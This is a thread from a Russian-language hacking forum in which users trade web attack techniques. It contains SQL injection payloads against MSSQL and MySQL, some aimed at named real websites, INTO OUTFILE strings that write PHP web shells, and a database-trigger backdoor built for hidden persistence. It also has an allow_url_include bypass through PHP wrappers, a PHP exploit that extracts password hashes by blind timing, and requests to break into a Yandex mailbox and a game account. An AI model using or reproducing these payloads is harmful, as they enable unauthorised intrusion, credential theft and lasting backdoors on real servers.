Приемы при Веб-Хаке — HackZona.Ru

Здесь делимся приемами которые используем при sql-inj, R/Lfi, Xss и т.д. Просьба не постить всем изветсные, повседневные вещи, в остальном читаем общие правила форума и правила раздела

Приемы при Веб-Хаке

Сообщений в теме: 29
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
Здесь делимся приемами которые используем при sql-inj, R/Lfi, Xss и т.д.
Просьба не постить всем изветсные, повседневные вещи, в остальном читаем общие правила форума и правила раздела
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
При проведении инъекции в MSSQL для получения данных проще сделать вот так (на примере table_name из information_schema):
так как можно разделять запросы то, создаем табличку с двумя полями
/index.php?id=1;create table tttt (id int identity(1,1) not null,txt nvarchar(800));
здесь поле id автоматически увеличивается на единицу (аналог auto increment) identity(1,1) — означает, что автоинкремент начинается со значения 1 (1,1) с шагом 1 (1,1).
Далее вставляем нужные нам данные в эту табличку в поле txt
/index.php?id=1;insert into tttt(txt) select table_name from information_schema.tables+--+

И теперь уже при выборке нам не нужно нагромождать наш запрос условием where table_name not in('...','....',...) а перебирать просто:
[code]/index.php?id=1 and 1=(select txt from tttt where id=1)
/index.php?id=1 and 1=(select txt from tttt where id=2)
...[/code]
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
в принципе не важно, какая версия мускула в данном случае, так же не важно есть ли вывод или нет и можем ли мы через веб-интерфейс добавлять записи в таблицу из которой идет выборка и которая участвует в инъекте, например можно сделать вот так:
http://localhost/test3?page=1+into+outfile+'/path/tocmd.php' fields terminated by '<? system($_GET[\'cmd\']) ?>'
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
4-я ветка мускула и мы не знаем какие таблицы есть, эх, вот только бы префикс узнать, а там дело за малым. Да иногда можно с помощью процедуры которая уже создана: analyse(), пример:
http://sao.mos.ru/?r=9_9&cat;=16&type;=28 procedure analyse()

видим схему таблицу и колонку из которой идет выборка, соответственно при хорошем раскладе увидим и префикс, что является незаменимым при инъекции в мускуле < 5

//Подробней о PROCEDURE ANALYSE() можно почитать [url=http://raz0r.name/obzory/sql-inekcii-i-procedure-analyse/]тут[/url]
//fraIzer
Нравится
Не нравится
Репутация: 1
Рейтинг: 0
Кол-во тем: 0
Сообщения: 436
Техника быстрого извлечения данных SFX-SQLi при MSSQL инъекциях. В ее основе лежит применение оператора FOR XML для SELECT, который впервые появился в MSSQL 2000 и служит для преобразования результата выборки в формат данных XML, при чем на выходе всегда будет одна строка.

Синтаксис:
[code]
SELECT * FROM [test].[dbo].[articles] FOR XML RAW
[/code]

Пример SQL-запроса с внедренным кодом, реализующим SFX-SQLi:
[code]
SELECT *
FROM [test].[dbo].[articles]
WHERE [id] = 1
UNION ALL SELECT null, (SELECT [username],[password] FROM [test].[dbo].[users] FOR XML RAW), null
[/code]

Преимущества: [LIST=1]
[*]Техника не имеет ограничений на максимальную длину возвращаемых данных, как это происходит в MySQL при использовании функции GROUP_CONCAT().
[/LIST]
Недостатки: [LIST=1]
[*]Существует ряд ограничений в реализации FOR XML в MSSQL 2000.
[/LIST]
Нравится
Не нравится
Репутация: 1
Рейтинг: 0
Кол-во тем: 0
Сообщения: 436
Использование GROUP_CONCAT() в SQL инъекциях. Функция GROUP_CONCAT() позволяет объединить в одну строку несколько записей из таблицы.

Синтаксис:
[code]
[LIST]
[*]SELECT GROUP_CONCAT(SCHEMA_NAME SEPARATOR 0×0a) FROM information_schema.SCHEMATA
список баз данных в одном поле
[*]SELECT GROUP_CONCAT(TABLE_NAME SEPARATOR 0×0a) FROM information_schema.TABLES
список всех таблиц из текущей базы данных
[*]SELECT GROUP_CONCAT(TABLE_NAME SEPARATOR 0×0a) FROM information_schema.TABLES WHERE TABLE_SCHEMA=0×73697465
список всех таблиц из базы данных site
[*]SELECT GROUP_CONCAT(COLUMN_NAME SEPARATOR 0×0a) FROM information_schema.COLUMNS WHERE TABLE_NAME=0×7573657273
список колонок таблицы users
[/LIST]
[/code]

Преимущества: [LIST=1]
[*]Упрощает вывод при получении заведомо небольших объемов данных.
[/LIST]
Недостатки: [LIST=1]
[*]Объем возвращаемых данных ограничен до 1024 байт по дефолту системной переменной group_concat_max_len.
[*]GROUP_CONCAT() не поддерживает LIMIT.
[/LIST]
Нравится
Не нравится
Репутация: 1
Рейтинг: 0
Кол-во тем: 0
Сообщения: 436
[B]Бэкдор в триггере[/B]

Нередко случается, что все руткиты/бэкдоры/веб-шеллы, полученные взломщиком с большими усилиями, однажды обнаруживаются администратором сервера и безвозвратно удалются. Чтобы закрепиться в системе как можно дольше, используется множество способов, большинство из которых сводится к хранению бэкдора непосредственно в файловой системе. У меня возникла идея хранить черный ход в систему в триггерах базы данных.

Триггер — это особая хранимая процедура, которая выполняется при наступлении определенного события на уровне таблицы базы данных. Этими событиями обычно являются использование операторов INSERT, UPDATE, DELETE. Главная особенность триггера заключается в том, что хранимая процедура, которую по сути он представляет собой, вызывается не пользователем, а самой базой данных и только при определенном условии.

При восстановлении утраченного доступа в систему может быть использован заранее внедренный триггер, создающий небольшой веб-шелл или выявляющий пароль администратора, который выполняется при наступлении специального события, известного только взломщику. Выгода такого решения очевидна: если в файловой системе администраторы еще как-то пытаются отслеживать посторонние объекты, то в базе данных обычно этого не делают.

Преположим, что на сайте предусмотрена свободная регистрация пользователей. Для получения в любой момент альтернативного доступа в систему, взломщик создает учетную запись обычного пользователя, затем он разрабатывает триггер таким образом, чтобы при изменении пароля его аккаунта определенным значением триггер записывал в папку небольшой веб-шелл. Событиями для срабатывания триггера могут быть какими угодно: создание определенного поста на форуме, посещение сайта с заданным User-Agentом и т.д. Все зависит от характера и структуры таблиц, их предназначения, а также возможности повлиять на конкретную таблицу своими данными в рамках легитимного запроса с операторами INSERT, UPDATE.

Рассмотрим на примере MySQL триггер, записывающий веб-шелл после того, как пароль пользователя сайта становится равным определенному значению.
[CODE]delimiter |
CREATE TRIGGER backdoor AFTER UPDATE ON users
FOR EACH ROW label:BEGIN
IF (SELECT password FROM users WHERE id=123)='gimme_that_shell' THEN
SELECT '<?=`$c`?>' INTO OUTFILE '/home/site/httpdocs/avators/smile.php';
ELSE
LEAVE label;
END IF;
END;
|[/CODE]

Сперва хочу отметить, что для создания триггера текущий пользователь MySQL должен иметь привилегию SUPER. Для срабатывания хватит прав непривилегированного пользователя, но исключительно для данного примера имеющего file_priv (для INTO OUTFILE). Итак, сначала задаем символ разделения отличный от; для того, чтобы использовать; внутри процедуры триггера. Далее создаем триггер с именем backdoor для таблицы users, срабатывающий после UPDATE; для каждой строки таблицы выполняем набор инструкций между BEGIN END и при этом задаем label для последующего использования оператора LEAVE (аналог return). Затем следует основное условие: если пароль пользователя с идентификатором 123 равен значению gimme_that_shell, тогда выполняется INTO OUTFILE, записывающий небольшой шелл в директорию с аваторами, иначе выполнение процедуры прерывается. Вместо INTO OUTFILE могут быть использованы другие варианты, например повышение прав пользователя до администратора.

Взято с [url]www.raz0r.name[/url]
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
Добрый день всем! Мне очень надо взломат почту в яндексе помогите пожалуйста.
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
при инъекции в 4-й ветке mysql мы можем узнать имена колонок если есть вывод сообщений об ошибках mysql. Для начала нам нужно узнать кол-во колонок в таблице, к примеру:
http://www.cfess.org.br/noticias_res.php?id=-22+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12/*
версия пятая но для примера сойдет. К примеру мы догадались, что там есть таблица banco_arquivos:
[CODE]http://www.cfess.org.br/noticias_res.php?id=-22+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12+from+banco_arquivos/*[/CODE]Узнаем сколько всего колонок в этой таблице:
[CODE]http://www.cfess.org.br/noticias_res.php?id=-22+and+(select+*+from+banco_arquivos)=(1)/*[/CODE][QUOTE]Operand should contain 2 column(s)[/QUOTE]2 -это и есть кол-во колонок в таблице banco_arquivos. дальше делаем финт ушами:[CODE]http://www.cfess.org.br/noticias_res.php?id=-22+and+(select+*+from+banco_arquivos+union+select+mod(1,0),2+limit+1)=(1,2)/*[/CODE](1,2) — нужно для того что бы не возникло ошибки что подзапрос возвращает больше чем одно значение, mod — остаток от деления 1 на 0 ;) результат:[QUOTE]Column 'id' cannot be null[/QUOTE]id -и есть имя первой колонки.[CODE]http://www.cfess.org.br/noticias_res.php?id=-22+and+(select+*+from+banco_arquivos+union+select+1,mod(1,0)+limit+1)=(1,2)/*[/CODE][QUOTE]Column 'arquivo' cannot be null[/QUOTE]arquivo — имя второй колонки.

В четвертой ветке работает с 4.1 т.к. до этой версии нельзя использовать подзапросы и в некоторых версиях 5-ой ветки
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
[QUOTE=fraIzer;108556]Очень интересный способ, чьё авторство если не секрет?[/QUOTE]
точно незнаю, но вроде бы некий Paic
Нравится
Не нравится
Репутация: 1
Рейтинг: 0
Кол-во тем: 0
Сообщения: 436
Очень интересный способ, чьё авторство если не секрет?
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
Многие уязвимости типа php-include остаются нераскрученными из-за директивы allow_url_include=Off в php.ini. Так вот, эта директива распространяется на все обёртки, но было замечено, что это не касается ветки php 5.2.0.
Таким образом, обойти это ограничение при версии php 5.2.0 не составляет труда: достаточно воспользоваться обёрткой data (пример: data:;base64,PD9waHBpbmZvKCk7Pz4=) или php (пример: в инклуд-параметр прописать php://input, отправить post-запрос с произвольным кодом).

Наглядно убедить в том, что allow_url_include распространяется не на все обёртки можно в исходниках php (директория /streams/). Вот участок кода из memory.c (php 5.2.0):
[code]708 php_stream_wrapper php_stream_rfc2397_wrapper = {
709 &php;_stream_rfc2397_wops,
710 NULL,
711 [color=green]0, /* is_url */[/color]
712 };[/code]

А вот тот же участок в 5.2.1:

[code]745 php_stream_wrapper php_stream_rfc2397_wrapper = {
746 &php;_stream_rfc2397_wops,
747 NULL,
748 [color=green]1, /* is_url */[/color]
749 };[/code]

А теперь смотрим в исходник streams.c (там нижеследующий код одинаков вроде бы во всех версиях):

[code]1605 if ((wrapperpp && (*wrapperpp)->[color=green]is_url[/color]) && (!PG(allow_url_fopen) || ((options & STREAM_OPEN_FOR_INCLUDE) && !PG(allow_url_include))) ) {
1606 if (options & REPORT_ERRORS) {
1607 php_error_docref(NULL TSRMLS_CC, E_WARNING, «URL file-access is disabled in the server configuration»);
1608 }
1609 return NULL;
1610 }[/code]
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
[B][COLOR=Lime][SIZE=3]Использование sleep() вместо benchmark()[/SIZE][/COLOR][/B] (32 запроса на md5)

Зачастую встречаются sql-инъекции, в которых нет ни вывода полей, ни вывода ошибок, ни вообще какого-либо контента — они называются Double Blind SQL Injection.

В таких случаях применяют benchmark(). Но существенный минус данного метода в сильной загрузке сервера.
Уже давно предлагается ввести новую альтернативу для пятой ветки mysql — sleep().
Хочу разобрать подробнее, как использовать sleep() на практике.

Рассмотрим следующий запрос:

SELECT SLEEP((SELECT substring(version(),1,1)))


Здесь будет задержка 5 секунд (работаем с пятой веткой) + уйдёт время на выполнение самого запроса.
Если сначала посмотреть, сколько уходит времени на получение ответа от сервера на запрос без задержки, можно точно узнать первый символ одним запросом.
А учитывая то, что обычно сервер выполняет запрос меньше, чем за одну секунду, можно брать просто целую часть от времени ответа сервера.

Теперь посмотрим, как вытаскивать символы. Можно делать это, пользуясь функцией instr()/find_in_set() (спс .Slip):

SELECT sleep($delta*(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+1,1),1,1))))


$delta — некоторый множитель, подбираемый для каждого сервера индивидуально.
В данном запросе задержка будет равна номеру первого символа результата запроса в наборе '0123456789abcdef', умноженному на $delta.
В зависимости от того, как быстро сервер возвращает ответы без задержки, можно варьировать $delta во избежание ошибки.

Таким образом, на 1 md5() хеш потребуется ровно столько запросов, сколько в нём символов — 32.

Теперь о плюсах и минусах:

[color=green]+[/color] Рекордные 32 запроса на md5()
[color=green]+[/color] Не требует вывода ошибок
[color=red]-[/color] Работает лишь начиная с MySQL 5
[color=red]-[/color] Возможны погрешности, если сервер перегружен

Надо отметить, что минусы не так существены, как плюсы — старые ветки MySQL уже отмирают, а погрешностей можно избежать, меняя знаменатель в функции SLEEP().

PoC-эксплойт (PHP):
([url=http://pastebin.com/f28154812]Patebin[/url])
[php]
<?php
$url = «site.ru/news.php?id=1»; //URL запроса до "+AND+..."
$id = 0; //Номер пользователя
$coef = 2; //Множитель
$try = 5; //Кол-во проверочных запросов
function avrg($arr) {
foreach ($arr as $val) {
$sum+=$val;
}
return $sum/count($arr);
}
function delta($url) {
$tests = array();
for($i=0;$i<=$try;$i++) {
$time = time()+microtime();
file_get_contents("$url+and+sleep(1)");
$tests[$i] = time()+microtime()-$time;
}
return avrg($tests);
}
function testtime($url) {
$time = time()+microtime();
file_get_contents($url);
return time()+microtime()-$time;
}
$delta = round($coef*delta($url));
$testtime=testtime($url);
echo "Blind SQL-Injection pattern PoC-exploit by Root-access
";
echo «Request type: $url+and+sleep(substring(version(),1,1))
»;
echo «Test time: $testtime
»;
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res = "";
for($i=1;$i<33;$i++) {
$time = time()+microtime();
file_get_contents("$url+and+sleep($delta*(instr(0x30313233343536373839616263646566,mid((select+password+from+test+limit+$id,1),$i,1))))");
$res = $res.$sym[round((time()+microtime()-$time-$testtime)/$delta-1)];
}
echo «Hash: ».$res;
?>

[/php]
Нравится
Не нравится
Репутация: 0
Рейтинг: 1
Кол-во тем: 45
Сообщения: 0
2BECHED вроде автор Root-access с очада не?
тем более как .Slip сказал много ньюнсов чтобы на определенный сервак намутит это (на локалхосте реально посчитать но на разных серваках хз)
Нравится
Не нравится
Репутация: 1
Рейтинг: 0
Кол-во тем: 0
Сообщения: 436
2avatara, BECHED какбэ и есть Root-access с очада ;)
Нравится
Не нравится
Репутация: 0
Рейтинг: 1
Кол-во тем: 45
Сообщения: 0
ну тогда сорь почистите мой пост )
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
[QUOTE=scipio;108543]при инъекции в 4-й ветке mysql мы можем узнать имена колонок если есть вывод сообщений об ошибках mysql.[/QUOTE]

Вопрос на засыпку) почему может не выводиться имя колонки? т.е. к примеру я вывожу имя 54 колонки в ошибку при 55 ошибки вовсе не возникает(((
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
Ни у кого нет предположений? :(
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
потому что в свойствах «55 колонки» указано что она может принимать значение NULL, а способ работает только для тех колонок свойства которых имеют атрибут NOT NULL
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
[QUOTE=scipio;122743]потому что в свойствах «55 колонки» указано что она может принимать значение NULL, а способ работает только для тех колонок свойства которых имеют атрибут NOT NULL[/QUOTE]
Это всё понятно, но в тех колонках просто по логике вещей не должно быть NULL! Т.е. магическим образом вывода нет только в тех колонках шопа которые представляют реально вкусную информацию!
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
Добрый день подскажите как или кто может взломать игру онлайн Викинги- мы короли на сайте [URL=«www.spaces.ru»]www.spaces.ru[/URL] перейдя на страницу двигайтесь вниз и там найдёте онлайн игры, заранее благодарю))))
Нравится
Не нравится
Репутация: 0
Рейтинг: 2
Кол-во тем: 0
Сообщения: 0
может ктонибудь знает как выполнять команды в мускуле?
такие как ls wget chmod
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 50
Сообщения: 0
Обойти можно используя уязвимости в самом php. Гугл в помощь. Также некоторые шеллы уже используют эти уязвимости. Юзай их.
Шел от электа насколько я помню. r57 кажется тоже. Насчет мадшелла не уверен.
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
[QUOTE=ixTor;135274]может ктонибудь знает как выполнять команды в мускуле?
такие как ls wget chmod[/QUOTE]

Никак!
Нравится
Не нравится
Репутация: 0
Рейтинг: 2
Кол-во тем: 0
Сообщения: 0
жаль очень жаль, неужели даже имея рут доступ в мускул нельзя выполнить команду?
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
[QUOTE=ixTor;135281]жаль очень жаль, неужели даже имея рут доступ в мускул нельзя выполнить команду?[/QUOTE]

Можно, но не в том контексте, что ты подразумеваешь :) например, если у тебя рут доступ в мускул и мэджик_квотс=офф можно юзать конструкции типа INTO OUTFILE и ей подобные…
2
Для того, чтобы отвечать в темах на форуме необходимо войти на сайт или зарегистрироваться.